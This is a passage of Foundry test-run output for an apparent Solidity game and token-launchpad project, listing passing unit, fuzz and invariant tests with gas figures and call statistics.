time)\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 65793262)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 12221065\n  Later openPad including hook and genesis gas: 774342\n  Combined manifest and later opening gas: 12995407\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 83.38ms (83.19ms CPU time)\n\nRan 7 tests for test/AuditV3.t.sol:AuditV3KingTest\n[PASS] test_failedPoolRequiresThreeDistinctL2BlocksThenAnyoneCanRecoverIt() (gas: 2705223)\n[PASS] test_failedSettlementRollsBackEarlierHealthyPoolPayments() (gas: 6827810)\n[PASS] test_firstCrownAlsoRejectsUnlockedManager() (gas: 407057)\n[PASS] test_gasStarvedBidRevertsWithoutChangingCrownOrPoolHealth() (gas: 1191090)\n[PASS] test_outgoingKingGetsLargeTokenFeesInKindAndNextKingGetsNoStash() (gas: 2471051)\n[PASS] test_sixteenPoolsBothCurrenciesAndGasEatingKingFitSettlementBudget() (gas: 10139368)\nLogs:\n  16 real pools both currencies, rejecting king, bid gas used: 4795428\n\n[PASS] test_unlockCallbackCannotTakeCrownOrDistribute() (gas: 1935663)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 108.55ms (86.21ms CPU time)\n\nRan 2 tests for test/V4Pad.t.sol:V4FallbackTest\n[PASS] test_nativeGenesisThenIMDGraduationLeavesNoStrandedQuoteDust() (gas: 20114008)\n[PASS] test_zeroIMDAfter24HoursGraduatesNativeAndPreservesV3Burn() (gas: 11118536)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 304.02ms (61.52ms CPU time)\n\nRan 1 test for test/V3CarryProperties.t.sol:V3CarryPropertiesTest\n[PASS] testFuzz_onlyUnusedReleaseAllowanceLeavesCarryAtFinalization(uint256,uint256,uint256) (runs: 128, μ: 10788041, ~: 9637298)\nLogs:\n  Bound result 0\n  Bound result 54570121555562140\n  Bound result 452421949995271122\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 306.15ms (279.99ms CPU time)\n\nRan 6 tests for test/RaffleEdges.t.sol:RaffleEdgesTest\n[PASS] testFuzz_above200ExactlyTwoHundredDistinctSeats(uint16,uint32,uint8) (runs: 24, μ: 83601907, ~: 81438926)\nLogs:\n  Bound result 245\n  Bound result 2\n\n[PASS] test_deathAtExactlyTenMinutesFromPlayStartAndAllDeadEndsTheGame() (gas: 2699237)\n[PASS] test_kingFundsSignupGameByEntriesAndFundedEthReturnsToCarryWhenNobodyRolls() (gas: 12036554)\n[PASS] test_repeatedDrawCallsInOneBlockOnlyAdvanceAfterSeedAndNeverSeatTwice() (gas: 71075527)\n[PASS] test_rollOneSecondBeforeHardEndWorksAndAtHardEndReverts() (gas: 4854281)\n[PASS] test_unselectedEntrantKeepsEntryHasNoSeatAndCannotRollOrReenter() (gas: 52860473)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 1.03s (1.05s CPU time)\n\nRan 5 tests for test/AuditV3.t.sol:AuditV3GameTest\n[PASS] test_lapsedSeedIsIndependentOfCallerAndCaptureDelayAndBountyPaidOnce() (gas: 3002133)\n[PASS] test_nonGenesisSplitAndExpiredTipGoesToPotWithPenalty() (gas: 10377499)\n[PASS] test_resolveBatchClampsToSixteenAndLowGasStopsSafely() (gas: 20075094)\n[PASS] test_tenBlocksPerSecondSixtySecondRollerNeverExpiresWithResolver() (gas: 6245795)\n[PASS] test_upkeepSeedBountyGoesToCallerAndNotPad() (gas: 1953561)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 1.13s (17.64ms CPU time)\n\nRan 7 tests for test/CrownSettlement.t.sol:CrownSettlementTest\n[PASS] test_bidderCannotSteerCursorToDivertReignFees() (gas: 6337598)\n[PASS] test_brokenPoolSkippedByTwoCrownsPaysTheEarliestUnsettledReign() (gas: 2378546)\n[PASS] test_extraBidGasSettlesMorePoolsInOneBid() (gas: 19804305)\nLogs:\n  takeCrown gas, sixty real pools fully settled: 7804512\n\n[PASS] test_firstCrownOpensNoReignAndPaysPreCrownFeesToTheFirstKing() (gas: 712881)\n[PASS] test_nonKingCannotSettleOrCloseAReign() (gas: 467485)\n[PASS] test_poolsBeyondTheBidGasStayOwedToTheOutgoingKing() (gas: 23910069)\nLogs:\n  pools settled by a minimum-gas bid, sixty real pools: 40\n\n[PASS] test_settlementRevertsBelowSixteenPoolsAndSucceedsAbove() (gas: 6035415)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 1.25s (2.48s CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 35326)\n[PASS] test_crownPrecollectsAllEighteenPools() (gas: 19484236)\nLogs:\n  takeCrown gas, eighteen real pools: 2829928\n\n[PASS] test_failedDistributorBlocksCrown() (gas: 16069746)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 22208267)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 16760396)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 15735418)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 8787228)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 10589812)\n[PASS] test_realTradingTokenFeesPaidInKindWithoutSwap() (gas: 16457213)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 1.97s (1.22s CPU time)\n\nRan 5 tests for test/V3FailureEdges.t.sol:V3GameFailureEdgesTest\n[PASS] testFuzz_everyResolutionWindowOffsetPreservesTheTip(uint256) (runs: 1000, μ: 1742283, ~: 1751462)\nLogs:\n  Bound result 348\n\n[PASS] test_drawBountyCallbackCannotCaptureAgainOrAdvanceExtraSeats() (gas: 2069004)\n[PASS] test_finalizeBatchFailureRollsBackTipsAndPartialResolutionUntilPermissionlessProgress() (gas: 43201169)\n[PASS] test_optionalDistributeAndBurnMayBothExhaustCapsWithoutRevertingEntryOrRoll() (gas: 3686697)\nLogs:\n  entry with both liquidity upkeep stipends exhausted: 1353993\n  roll with both liquidity upkeep stipends exhausted: 1453704\n\n[PASS] test_resolverDebtSurvivesFinalizationGraduationAndRejectedClaim() (gas: 2946886)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 1.99s (1.97s CPU time)\n\nRan 9 tests for test/Revision.t.sol:RevisionTest\n[PASS] test_carryStaysInPadEvenAfterFiveSeats() (gas: 20372513)\n[PASS] test_freeLaunchesDoNotCrowdEnteredGamesOutOfTheKingWindowOrUpkeep() (gas: 26374140)\n[PASS] test_fullRangeSqrtPriceConstantsMatchTickMath() (gas: 16981)\n[PASS] test_liquidityClaimLockIsSeparateFromThePoolGuard() (gas: 16593176)\n[PASS] test_outgoingKingIsPaidEvenWhenTheBidComesFromInsideLiquidityClaim() (gas: 17507045)\n[PASS] test_seatedEventUsesTheSameOneBasedIndexesAsTheViews() (gas: 8545082)\n[PASS] test_soleBuyerSybilLosesMoneyEvenAfterDumpingEveryTokenAndTakingTheCappedRelease() (gas: 17955613)\nLogs:\n  curve ETH raised: 441000000000000000\n  sybil net outlay before the dump: 399450000000000000\n  dump proceeds: 259263336672922359\n\n[PASS] test_takeCarryAndNoteFirstEntryAreGameOnly() (gas: 16232900)\n[PASS] test_takeCrownRevertsInsteadOfSkippingTheOutgoingKingWhileLiquidityIsLocked() (gas: 16180667)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.06s (304.72ms CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 2094322)\n[PASS] test_claimableWinner() (gas: 2892101)\n[PASS] test_conservationOfEth() (gas: 5967849)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 43172)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2431463)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2487934)\n[PASS] test_deathAndAllDeadEnd() (gas: 1962879)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1611267)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2559142)\n[PASS] test_failedPushBecomesClaimable() (gas: 1579561)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 5481400)\n[PASS] test_finalizeRanksAndPays() (gas: 4828786)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1797211)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 120397266)\n[PASS] test_finalizerFeeCapped() (gas: 12780765)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1844221)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 374030)\n[PASS] test_fundPotOnlyPad() (gas: 43995)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 21361042)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3651831)\n[PASS] test_graduateOnlyFromGame() (gas: 73115)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 8134915)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1570395)\n[PASS] test_hardEndAt50MinutesAfterPlayStart() (gas: 4223153)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9595345)\n[PASS] test_resolveBatchIncludesTenRolls() (gas: 7502170)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2395796)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 1978843)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1906910)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1811275)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1489133)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1420771)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 3190340)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1576229)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 2843574)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 2.12s (126.78ms CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 10288838)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 11094037)\n[PASS] test_claimNothingReverts() (gas: 8017866)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9655)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 16413812)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 19675305)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 26240590)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 9463954)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 10424529)\n[PASS] test_failedGenesisRelaunchLeavesCarryInPad() (gas: 11983432)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 132983986)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 4057835\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 36445459)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 23032649)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 19900096)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 9326781)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 10235446)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 7924697)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9199)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 9364934)\n[PASS] test_launchViewsRejectIdZero() (gas: 33188)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 9580182)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 16747902)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 16285390)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 15538778)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78100)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 7836139)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 7878220)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 28396291)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 16696963)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 16937995)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 10802254)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 9650892)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 15670573)\n[PASS] test_singleLivingImpTakesEverything() (gas: 12050491)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 9306530)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 15720184)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 2.12s (978.84ms CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 16170818, ~: 16170804)\nLogs:\n  Bound result 19990000000000012254\n  Bound result 31024\n  Bound result 718\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 16476014, ~: 16476032)\nLogs:\n  Bound result 16809245445064337637\n  Bound result 59999999999999999999\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 19129905, ~: 16655448)\nLogs:\n  Bound result 3\n  Bound result 876699592022354930\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 16037808, ~: 16037825)\nLogs:\n  Bound result 28932960653973271998\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 12342569, ~: 11573238)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 3454570121562513374\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37797, ~: 37819)\nLogs:\n  Bound result 14\n  Bound result 1111\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21798, ~: 21373)\nLogs:\n  Bound result 99999999999999999998\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 38404, ~: 38570)\nLogs:\n  Bound result 404284521931462223\n  Bound result 3055766169896858080\n  Bound result 3888467660267248490\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 15520251, ~: 14910679)\nLogs:\n  Bound result 9\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.12s (12.34s CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107515)\n[PASS] test_bindingsAreOneShot() (gas: 87591)\n[PASS] test_carryPotStaysThroughNextDraw() (gas: 18124483)\n[PASS] test_closedPadRevertsEverything() (gas: 103611)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 719314)\n[PASS] test_deployGasUnderBudget() (gas: 19942)\n[PASS] test_deployHookOnlyByPad() (gas: 33147)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 19273920)\n[PASS] test_fundGamesOnlyKing() (gas: 39546)\n[PASS] test_hookRejectsForeignInitialize() (gas: 7965147)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 16354434)\n[PASS] test_launchValidatesStrings() (gas: 15655146)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 7835535)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 7869231)\n[PASS] test_openPadOnlyOnce() (gas: 7907664)\n[PASS] test_openPadRejectsBadSalt() (gas: 203501)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 7135289)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 8262191)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 38130507)\n[PASS] test_templatesCannotBeInitialized() (gas: 8006150)\n[PASS] test_upkeepForOnlyGames() (gas: 8058393)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 2.12s (396.30ms CPU time)\n\nRan 24 tests for test/V4Pad.t.sol:V4PadTest\n[PASS] testFuzz_bailSequencesConserveETHAndSupply(uint8,uint8) (runs: 64, μ: 10809723, ~: 10719895)\nLogs:\n  Bound result 3\n\n[PASS] testFuzz_sandwichOnConversionChunkLoses(uint96) (runs: 64, μ: 70736657, ~: 70729443)\nLogs:\n  Bound result 59999900000000005056\n\n[PASS] test_IMDDonationsDoNotChangeConversionCreditOrGraduationPrice() (gas: 2794318)\n[PASS] test_bailAfterActualSellOutReopensCurveAndCostCountsOnlySpentETH() (gas: 5443888)\n[PASS] test_bailOnlyDuringPlayAndOnlySeatedWallets() (gas: 3384925)\n[PASS] test_bailOutProfitLossMinOutAndConservation() (gas: 3134793)\n[PASS] test_bothCurrencyOrdersGraduateAndPayTheCorrectKingAssets() (gas: 7558572)\n[PASS] test_constructorPoolIdRejectsChangedVenueFields() (gas: 20731)\n[PASS] test_conversionAccessAndConstructorKeyValidation() (gas: 175725)\n[PASS] test_conversionLimitIntervalPartialFillAndEscrow() (gas: 70207746)\n[PASS] test_deadWalletMayBailWhileAnotherLivesAndErasedActivityDoesNotDelayEnd() (gas: 3135423)\n[PASS] test_erasureExcludesRankingBellLivingAndFundedReleaseButPaysPendingTip() (gas: 4774633)\n[PASS] test_exactIMDKeyAndEmptyApplicationDeployment() (gas: 67647)\n[PASS] test_graduationPriceEquivalentAndUnlocksInSameTransaction() (gas: 4529746)\n[PASS] test_kingCollectsIMDAndCoinsInKindAcrossCrown() (gas: 4619842)\n[PASS] test_largeRawTokenRatioDoesNotOverflowPriceEncoding() (gas: 6831)\n[PASS] test_lowGasProbeCannotConsumeConversionInterval() (gas: 69817919)\n[PASS] test_partial24HourFallbackUsesIMDAndCarriesOnlyRemainingETH() (gas: 70630112)\n[PASS] test_rejectedBailPaymentRemainsClaimableAndCannotBePaidTwice() (gas: 1848757)\n[PASS] test_soleBuyerSybilWithProfitableBailAndFiveSurvivorsStillLosesAfterTwoHopDump() (gas: 83739672)\nLogs:\n  Sybil net curve ETH after bailout: 433763283181329605\n  Sybil loss excluding entries and gas: 116818580362673557\n\n[PASS] test_twoGamesKeepIndependentConversionEscrows() (gas: 160304667)\n[PASS] test_twoHopBurnBothPriceLimitsIntervalAndIntermediateAccounting() (gas: 3242518)\nLogs:\n  Two-hop burn gas: 283960\n\n[PASS] test_upkeepConvertsAndGraduatesWithBoundedGas() (gas: 70660322)\nLogs:\n  Conversion upkeep gas: 451623\n\n[PASS] test_zeroLiquidityChunksDoNotExtendTimeout() (gas: 2898612)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 2.12s (3.30s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 86)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 99    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 87    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 94    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 86    | 86      | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 120   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 192   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 92    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 207   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 23004\n  Bound result 2995000000000010001\n  Bound result 376138608389625840\n  Bound result 11044\n  Bound result 2751\n  Bound result 410\n  Bound result 289\n  Bound result 240\n  Bound result 37\n  Bound result 1994836\n  Bound result 4\n  Bound result 91\n  Bound result 2995000000000002619\n  Bound result 36\n  Bound result 1\n  Bound result 10\n  Bound result 0\n  Bound result 2995000000000016701\n  Bound result 0\n  Bound result 51\n  Bound result 10\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.40s (2.37s CPU time)\n\nRan 6 tests for test/AuditV3CarryUpkeep.t.sol:AuditV3CarryUpkeepTest\n[PASS] test_fiveWalletCarryChainOnlyPullsUnusedCapAtFinalize() (gas: 49691192)\n[PASS] test_fiveWalletNoRollChainNeverTakesCarry() (gas: 5331177)\n[PASS] test_ownGasEstimateEntryAndRollWithForeignDraw() (gas: 987076)\nLogs:\n  own entry gas limit: 185039\n  own roll gas limit: 187792\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignFinalize() (gas: 1021091)\nLogs:\n  own entry gas limit: 185039\n  own roll gas limit: 191464\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignGraduate() (gas: 1021457)\nLogs:\n  own entry gas limit: 185039\n  own roll gas limit: 191464\n\n[PASS] test_upkeepSubcallCanExhaustItsFullStipendWithoutRevertingEntry() (gas: 50657318)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 2.59s (350.14ms CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 22653405, ~: 18300947)\nLogs:\n  Bound result 61\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 116682874)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2668320\n  5000-entry draw total gas: 16251690\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 54960475)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 416801)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 627397)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8635256)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1191564)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 5161602)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 661852)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 705113)\n[PASS] test_lapsedCommitFallsBackOnceAndNeverRecommits() (gas: 51586817)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 526724)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 52194239)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 96933040)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1930190)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 2.59s (5.63s CPU time)\n\nRan 1 test for test/V3KingFeesInvariant.t.sol:V3KingFeesInvariantTest\n[PASS]\nV3KingFeesInvariantTest invariants:\n[PASS] invariant_eachReignKeepsItsETHAndTokensIncludingRejectedPayments\n[PASS] invariant_realV4FeesAndBidsConserveETH\n V3KingFeesInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭----------------------+------------+-------+---------+----------╮\n| Contract             | Selector   | Calls | Reverts | Discards |\n+================================================================+\n| KingFeeLedgerHandler | bid        | 1596  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | claim      | 1656  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | distribute | 1594  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | donate     | 1674  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | starveBid  | 1672  | 0       | 0        |\n╰----------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 1000000000000000\n  Bound result 100000000000000000000\n  Bound result 16\n  Bound result 0\n  Bound result 500000\n  Bound result 5400401\n  Bound result 5275559\n  Bound result 15899\n  Bound result 5400201\n  Bound result 4253857993\n  Bound result 4999000000000000000\n  Bound result 4996498182808\n  Bound result 9\n  Bound result 10000\n  Bound result 5000\n  Bound result 459253\n  Bound result 94210890951955\n  Bound result 1971339\n  Bound result 5400021\n  Bound result 5419765\n  Bound result 14726\n  Bound result 5222\n  Bound result 5414318\n  Bound result 4948492\n  Bound result 90000000000001\n  Bound result 15604\n  Bound result 100003\n  Bound result 912081\n  Bound result 5406721\n  Bound result 5745\n  Bound result 12\n  Bound result 7477639625207\n  Bound result 64155663493756185507225\n  Bound result 21572\n  Bound result 21261\n  Bound result 6835\n  Bound result 5400591\n  Bound result 50524267\n  Bound result 590\n  Bound result 154087980144090\n  Bound result 27954035693068267135670\n  Bound result 30\n  Bound result 1000\n  Bound result 1269\n  Bound result 1507695\n  Bound result 11000\n  Bound result 6667\n  Bound result 2542593\n  Bound result 6000000\n  Bound result 55619632766004\n  Bound result 4814850\n  Bound result 31\n  Bound result 350\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.38s (3.35s CPU time)\n\nRan 1 test for test/V3ResolverInvariant.t.sol:V3ResolverInvariantTest\n[PASS]\nV3ResolverInvariantTest invariants:\n[PASS] invariant_eachTipIsPendingExpiredOrOwedToItsActualResolver\n[PASS] invariant_paidETHAndTokensRemainFullyAccounted\n V3ResolverInvariantTest invariants (runs: 128, calls: 12288, reverts: 0)\n\n╭-----------------------+----------+-------+---------+----------╮\n| Contract              | Selector | Calls | Reverts | Discards |\n+===============================================================+\n| ResolverLedgerHandler | advance  | 3057  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | claim    | 3129  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | resolve  | 3087  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | roll     | 3015  | 0       | 0        |\n╰-----------------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 16\n  Bound result 59\n  Bound result 21\n  Bound result 29\n  Bound result 26\n  Bound result 7\n  Bound result 36\n  Bound result 6\n  Bound result 21\n  Bound result 8\n  Bound result 4\n  Bound result 3\n  Bound result 2\n  Bound result 66\n  Bound result 7\n  Bound result 6\n  Bound result 31\n  Bound result 32\n  Bound result 28\n  Bound result 14\n  Bound result 74\n  Bound result 67\n  Bound result 89\n  Bound result 8\n  Bound result 90\n  Bound result 15\n  Bound result 50\n  Bound result 76\n  Bound result 15\n  Bound result 12\n  Bound result 21\n  Bound result 47\n  Bound result 10\n  Bound result 66\n  Bound result 37\n  Bound result 17\n  Bound result 13\n  Bound result 11\n  Bound result 62\n  Bound result 18\n  Bound result 23\n  Bound result 18\n  Bound result 27\n  Bound result 76\n  Bound result 15\n  Bound result 36\n  Bound result 74\n  Bound result 41\n  Bound result 43\n  Bound result 35\n  Bound result 24\n  Bound result 3\n  Bound result 16\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.44s (5.39s CPU time)\n\nRan 22 test suites in 5.45s (37.31s CPU time): 219 tests passed, 0 failed, 0 skipped (219 total 